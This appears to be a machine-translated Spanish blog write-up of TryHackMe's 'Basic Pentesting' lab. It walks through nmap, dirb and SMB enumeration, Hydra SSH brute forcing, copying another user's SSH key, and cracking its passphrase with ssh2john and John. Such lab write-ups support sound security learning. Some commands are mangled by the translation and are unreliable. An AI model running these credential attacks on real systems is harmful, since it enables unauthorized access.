[Tryhackme] ataques de fuerza bruta y privilegios crecientes usando ssh2john.py en Hydra! Escritura básica de Pentesting

[Tryhackme] ataques de fuerza bruta y privilegios crecientes usando ssh2john.py en Hydra! Escritura básica de Pentesting

Esta vez, estudiaremos los conceptos básicos de las pruebas de penetración utilizando la pentesting básica de Tryhackme.
"Tryhackme-Basic Pentesting: https://tryhackme.com/room/basicpentestingjt "

Tenga en cuenta que la explicación es spoilers.

Libros de referencia recomendados
\Amazon Prime Day ya está en marcha! /
Amazonas
Autor: Ipusiron
¥3,850 (A partir de 21:11 el 08/07/2025 | Amazon Research)
\Amazon Prime Day ya está en marcha! /
Amazonas
Autor: Justin Seitz, Autor: Tim Arnold, supervisado por: Mantani Nobutaka, Traducción: Arai Yu, Traducción: Kakara Hirosei, Traducción: Murakami Ryo
¥3,520 (A partir de las 12:26 el 07/07/2025 | Amazon Research)
\Amazon Prime Day ya está en marcha! /
Amazonas
Tabla de contenido

Preparación

Primero, comienza la máquina de destino!


Implementar la máquina y conectarse a nuestra red

Seleccione "Máquina de inicio" a continuación para iniciar la máquina de destino.

Si se muestra la dirección IP, ¡ya está!

¡Completa la primera pregunta de Tryhackme!

reconocimiento

Primero, reconoceremos y recopilaremos información sobre la máquina de destino.

Encuentre los servicios expuestos por la máquina

Use NMAP para encontrar servicios publicados por su máquina.

nmap -sv -a [Target IP]
NMAP -SV -A 10.10.98.167 130 ⨯ Inicio NMAP 7.92 (https://nmap.org) al 2023-03-17 23:40 Informe de escaneo NMAP JST para 10.10.98.167 El host está activo (latencia de 0.25s). No se muestra: 994 puertos TCP cerrados (conn-refundido) Puerto Estado Servicio Versión 22/TCP Open SSH OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; Protocolo 2.0) | SSH-HostKey: | 2048 DB: 45: CB: BE: 4A: 8B: 71: F8: E9: 31: 42: AE: FF: F8: 45: E4 (RSA) | 256 09: B9: B9: 1c: e0: bf: 0e: 1c: 6f: 7f: fe: 8e: 5f: 20: 1b: ce (ecdsa) | _ 256 a5: 68: 2b: 22: 5f: 98: 4a: 62: 21: 3d: a2: e2: c5: f7: c2 (ed255519) http apache httpd 2.4.18 ((ubuntu)) | _http-server-header: apache/2.4.18 (ubuntu) | _http-title: el sitio no tiene un título (texto/html). 139/TCP Open Netbios-SSN Samba SMBD 3.x-4.x (Group: WorkGroup) 445/TCP Open NetBios-SSN Samba SMBD 4.3.11-Ubuntu (Group: WorkGroup) 8009/TCP Open AJP13 Apache JServ (Protocol V1.3) | AJP métodos: | _ Métodos compatibles: Obtenga opciones de publicación Head 8080/TCP Abra http Apache Tomcat 9.0.7 | _http-Favicon: Apache Tomcat | _http-title: Apache Tomcat/9.0.7 Información del servicio: Host: Basic2; OS: Linux; CPE: CPE:/O: Linux: Linux_Kernel Host Script Resultados: | SMB-OS-Descosvery: | OS: Windows 6.1 (Samba 4.3.11-Ubuntu) | Nombre de la computadora: BASIC2 | Nombre de la computadora Netbios: BASIC2 \ x00 | Nombre de dominio: \ x00 | FQDN: BASIC2 | _ Tiempo del sistema: 2023-03-17T10: 40: 57-04: 00 | _Clock-skew: media: 1H19M59S, Salida: 2H18M34S, mediana: 0s | SMB2-Security-Mode: | 3.1.1: | _ Según la firma de mensajes habilitada pero no requerida | _nbstat: netbios Nombre: BASIC2, Netbios User:<unknown> , Netbios Mac:<unknown> (desconocido) | SMB-Security-Mode: | cuenta_used: invitado | autenticación_level: usuario | Challenge_Response: compatible | _ Message_signing: DISPABILIDAD (peligroso, pero predeterminado) | SMB2 Time: | Fecha: 2023-03-17T14: 40: 57 | _ Start_date: N/A Detección de servicio realizada. Informe cualquier resultado incorrecto en https://nmap.org/submit/. NMAP realizado: 1 dirección IP (1 host) escaneada en 59.84 segundos

En pocas palabras, se ve así:

puertoservicio
22ssh
80http
139netbios-ssn
445netbios-ssn
8009AJP13
8080http

Asegúrese de completar las preguntas también.

¿Cuál es el nombre del directorio oculto en el servidor web (ingrese el nombre sin /)?

Intente buscar un directorio oculto en su servidor web.
Utiliza "DIRB", un escáner de contenido web.

dirb http://10.10.98.167 ------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------- ------> Pruebas: http://10.10.98.167/analytics ==> Directorio: http://10.10.98.167/development/ + http://10.10.98.167/index.html (código: 200 | tamaño: 158) (!) -----------------------------------------------------------------------------------------------

Los resultados mostraron que "http://10.10.98.167/develovelment/" existe.
Intentaré acceder realmente.

2018-04-23: ¡He estado jugando con esas cosas de Struts, y es genial! Creo que también podría ser bueno alojar eso en este servidor. Todavía no he hecho ninguna aplicación web real, pero he intentado ese ejemplo, puedes mostrar cómo funciona (¡y es la versión de descanso del ejemplo!). Ah, y ahora mismo estoy usando la versión 2.5.12, porque otras versiones me estaban dando problemas. -K 2018-04-22: SMB ha sido configurado. -K 2018-04-21: Me configuraron Apache. Ponerá nuestro contenido más tarde. -J ===== 2018-04-23: ¡Estoy jugando con el de los puntales, y se ve bastante bien! También puede alojar este servidor si es mejor. Todavía no he hecho ninguna aplicación web real, pero probé ese ejemplo. Puede mostrar cómo funciona (¡y es la versión de descanso del ejemplo!). Ah, y ahora estoy usando la versión 2.5.12 porque tuve problemas con otras versiones. -K 2018-04-22: SMB se ha establecido. -K 2018-04-21: Apache se ha configurado. Incluiremos nuestro contenido más adelante. -J
Para J: He estado auditando el contenido de /Etc /Shadow para asegurarnos de que no tengamos credenciales débiles, y pude descifrar tu hash muy fácilmente. Conoces nuestra política de contraseña, así que síguela. Cambie esa contraseña lo antes posible. -K ===== Para J: He estado auditando el contenido de /etc /sombra para asegurarme de que no tengamos credenciales débiles, y pude romper tu hash muy fácilmente. Puede conocer nuestra política de contraseña, así que siga lo siguiente: ¿es así? Cambie esa contraseña lo antes posible. -K

Esto es lo que se llama memorando de desarrollo. Parece que los usuarios comienzan con "J" y "K."
El Sr. K parece tener SMB establecido. El escaneo NMAP anterior también presentó a SMB, por lo que la próxima vez nos enfrentaremos a SMB.

Por ahora, descubrí que el directorio oculto es "desarrollo", por lo que lo responderé.

¿Cuál es el nombre de usuario?

Use SMBClient para verificar la carpeta compartida.

SMBClient -L 10.10.98.167 Ingrese a Workgroup \ Hacklab's Password: ShareName Tipo Comentario ----- ---- Disk Anónimo IPC $ IPC IPC Service (Samba Server 4.3.11-Ubuntu) reconectando con SMB1 para la lista de grupos de trabajo. Server Comment ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Descubrí que hay un intercambio oculto de Anónimo e IPC $.
IPC $ Sharing permite la comunicación entre procesos e inicios de sesión de usuario anónimos que no requieren un nombre de usuario o contraseña.
Use esto para acceder a Anonymous usando SMBClient.

SmbClient \\\\\ 10.10.98.167 \\ Contraseña anónima para [Group \ root]: intente "Ayuda" para obtener una lista de los posibles comandos. SMB: \> Dir. D 0 thu 19 de abril 17:31:20 2018 .. D 0 Thu 19 de abril 17:13:06 2018 Staff.txt n 173 Thu 19 de abril 17:29:55 2018 14318640 Bloques de tamaño 1024. 11094536 disponibles

Había un archivo llamado "staft.txt".
Revisaré el contenido.

SMB: \> Más Staff.txt Anuncio al personal: No cargue artículos no relacionados con el trabajo a esta acción. Sé que todo es divertido, pero así es como suceden los errores. (¡Esto significa que tú también, Jan!) -Kay

Resulta que K es "Kay" y J es "Jan."
En las notas de desarrollo anteriores, se dijo que la contraseña de Jan era vulnerable, por lo que lo atacaremos.

¿Cuál es la contraseña?

Para Jan, intente descifrar la contraseña con Hydra.
Mi nombre de usuario es "Jan" y mi lista de contraseñas es "Rockyou.txt" cada vez. Encuentra que SSH está abierto en su primera verificación de servicio.

Hydra -L Jan -p /usr/share/wordlists/rockyou.txt ssh: //10.10.98.167 Hydra v9.3 (c) 2022 por Van Hauser/THC y David Maciejak -Por favor, no use en organizaciones de servicios militares o secretos, o para fines ilegales (esto no es un punto de vista, estas leyes y ésticos de todos modos). Hydra (https://github.com/vanhauser-thc/thc-hydra) a partir de 2023-03-17 15:55:11 [Advertencia] Muchas configuraciones de SSH limitan el número de tareas paralelas, se recomienda reducir las tareas: use 4 [datos] Max 16 tareas por 1 servidor, 16 tareas, 14444399 (l: 1/p: 14344399), ~ 896525 intentos por tarea [datos] atacando ssh: //10.10.98.167: 22/[estado] 156.00 intentos/min, 156 intentos en 00: 01h, 14344245 para hacer en 1532: 31h, 14 activos] 122.00 thries/min, 366 trey 14344035 para hacer en 1959: 35h, 14 activo [estado] 102.29 intentos/min, 716 intentos en 00: 07h, 14343685 para hacer en 2337: 12h, 14 activo [22] [ssh] host: 10.10.98.167 logina: contraseña de enero: armando 1 de 1 target exitoso con éxito, 1 cotización de contraseña válida [prevalece la tarea] no completo hasta el final. [Error] 2 Los objetivos no se resolvieron o no se pudo conectar [Error] 0 El objetivo no completó Hydra (https://github.com/vanhauser-thc/thc-hydra) terminó en 2023-03-17 16:03:18

Aprendí que la contraseña de Jan es "Armando".

A continuación, déjame responder a esta pregunta.


¿Qué servicio utiliza para acceder al servidor (respuesta en abreviatura en todos los límites)?

Ahora, intentemos conectarnos a la máquina de destino usando SSH.

ssh jan@10.10.98.167 La autenticidad del host '10 .10.98.167 (10.10.98.167) 'no se puede establecer. ED25519 La huella digital clave es Sha256: Xkjdklkocbzjjcch0tpriw1pelpuzduftgza4xmda+O4. Esta clave no se sabe por otros nombres, ¿está seguro de que desea continuar conectando (sí/no/[huella digital])? Sí Advertencia: agregó permanentemente '10 .10.98.167 '(ED25519) a la lista de hosts conocidos. jan@10.10.98.167's password: Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 0 packages can be updated. 0 Las actualizaciones son actualizaciones de seguridad. Los programas incluidos con el sistema Ubuntu son el software libre; Los términos de distribución exactos para cada programa se describen en los archivos individuales en/usr/share/doc/*/copyright. Ubuntu no tiene absolutamente ninguna garantía, en la medida permitida por la ley aplicable. Los programas incluidos con el sistema Ubuntu son el software libre; Los términos de distribución exactos para cada programa se describen en los archivos individuales en/usr/share/doc/*/copyright. Ubuntu no tiene absolutamente ninguna garantía, en la medida permitida por la ley aplicable. Último inicio de sesión: lun 23 de abril 15:55:45 2018 desde 192.168.56.102 Jan@Basic2: ~ $ 

Pude conectarme con éxito a la máquina de destino.

¿Cuál es el nombre del otro usuario que encontró (todo minúscula)?

El otro usuario probablemente sea "Kay", pero lo comprobaré /casa por si acaso.

CD ../ Jan@Basic2:/ Home $ LS -LA Total 16 DRWXR-XR-X 4 Root Root 4096 Abr 19 de 2018. DRWXR-XR-X 24 Root Root 4096 Abr 23 2018 .. DRWXR-XR-X 2 Root Root 4096 Abr 23 de 2018 Jan DRWXR-XR-X 5 Kay Kay 4096 Abr 23 2018 Kay

Puedes ver que hay Kay además de Jan. Como se esperaba.


¿Cuál es la contraseña final que obtuvo?

Rompamos la contraseña de Kay.
Primero, ve al directorio de casa de Kay.

Jan@Basic2:/Home $ CD Kay Jan@Basic2:/Home/Kay $ LS -LA Total 48 DRWXR-XR-X 5 KAY KAY 4096 ABR 23 2018 .DRWXR-XR-X 4 Root Root 4096 19 de abril 2018 .. -rw---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 2 kay kay 4096 Apr 17 2018 .cache -rw ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------- 2018 .sudo_as_admin_successful -rw------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Me gustaría ver "pass.bak", pero no parece tener la autoridad. decepcionante. . .
Sin embargo, parece que ".ssh" tiene permisos de lectura.

Use el comando SCP para descargarlo a Kali.

scp -r jan@10.10.98.167: /home/kay/.ssh ./ jan@10.10.98.167 Password: Authorized_Keys 100% 771 495.4kb/s 00:00 ID_RSA 100% 3326 2.1MB/S 00:00 ID_RSA.PUB 100%% 771 536.2KB    

De aquí en adelante, estaremos trabajando con Kali.
Echemos un vistazo a lo que hay dentro .ssh.

┌── (root㉿kali)-[~] └─# cd .ssh ┌── (root㉿kali)-[~/.ssh] └─# ll total 20 -rw---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 1 root root 142 17 de marzo 16:06 conocido_hosts.old

Quiero extraer un hash descifrado de la clave privada SSH, así que usaré "ssh2john.py" de John the Ripper.

┌── (root㉿kali)-[~/.ssh] └─# python3 /usr/share/john/ssh2john.py id_rsa> hash.txt ┌── (root㉿kali)-[~/.ssh] └─# ll total 28 -rw------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ root 771 Mar 17 16:15 ID_RSA.PUB -RW --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Intente usar John the Ripper con este hash.txt para romper su contraseña.

┌── (root㉿kali)-[~/.ssh] └─#/sbin/John --wordlist =/usr/share/wordlists/rockyou.txt hash.txt directorio creado: /root/.John usando la codificación de entrada predeterminada: UTF-8 cargado 1 contraseña hast (Kdf/cifrado [0 = md5/aes 1 = md5/3des 2 = bcRypt/aes]) es 0 para todos los hashes cargados costo 2 (recuento de iteraciones) es 1 para todos los hashes cargados ejecutará 2 hilos abiertos: 00: 00: 00: 00 (2023-03-17 16:19) 14.28g/s 1181kp/s 1181kc/s 1181kc/s behlat..bball40 Use la opción "--show" para mostrar todas las contraseñas agrietadas de manera confiable completada. 

Ahora sabemos que la frase de pases SSH Private Key de Kay es "cera de abejas".
Probaré SSH con Kay.

Cambie los permisos ID_RSA usando CHMOD.

┌── (root㉿kali)-[~/.ssh] └─#ll Total 28 -RW --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------- -rw-r-r-- 1 raíz raíz 142 17 de marzo 16:06 conocido_hosts.old ┌── (root㉿kali)-[~/.ssh] └─# chmod 400 id_rsa ┌── (root㉿kali)-[~/.ssh] └─# ll total 28 -rw ------- 1 raíz 771 mar 17 16:15 autorizado autorizado 4762 Mar 17 16:18 hash.txt -r-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- id_rsa -rw-r--r-- 1 root root 771 17 de marzo 16:15 id_rsa.pub -rw --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------- 4.4.0-119 Generic X86_64) * Documentación: https://help.ubuntu.com * Gestión: https://landscape.canonical.com * Soporte: https://ubuntu.com/advantage 0 Los paquetes se pueden actualizar. 0 Las actualizaciones son actualizaciones de seguridad. Último inicio de sesión: lun 23 de abril 16:04:07 2018 desde 192.168.56.102 kay@básico2: ~ $ 

Pude iniciar sesión con éxito.
Continúe así para verificar el pase. Bak que mencionó anteriormente.

kay@básico2: ~ $ ls pass.bak kay@básico2: ~ $ gat pass.bak hereSareallystrongPasswordThatfollowSThePassWordPolicy $$

Logré obtener la bandera con éxito.

resumen

Esta vez, probamos los conceptos básicos de las pruebas de penetración utilizando el pentesting básico de Tryhackme.
Como principiante, era el nivel correcto.

Esta es la primera vez que aprendí sobre ssh2john.py, así que creo que intentaré usar una habitación que se pueda usar en una variedad de otros lugares.

Referencias y sitios

InfosecWriteUps: https://infosecwriteups.com/tryhackme-basic-pentesting-walkthrough-7817c719fd04
hamayanhamayan: https://blog.hamayanhamayan.com/entry/2021/05/12/004620

¡Comparte si quieres!

Quien escribió este artículo

Este es un blog que comencé a estudiar la seguridad de la información. Como nuevo empleado, sería feliz si pudieras mirar con un corazón amplio.
También está Teech Lab, que es una oportunidad para estudiar diversión de programación, por lo que si está interesado en el desarrollo de software, ¡asegúrese de echar un vistazo!

Tabla de contenido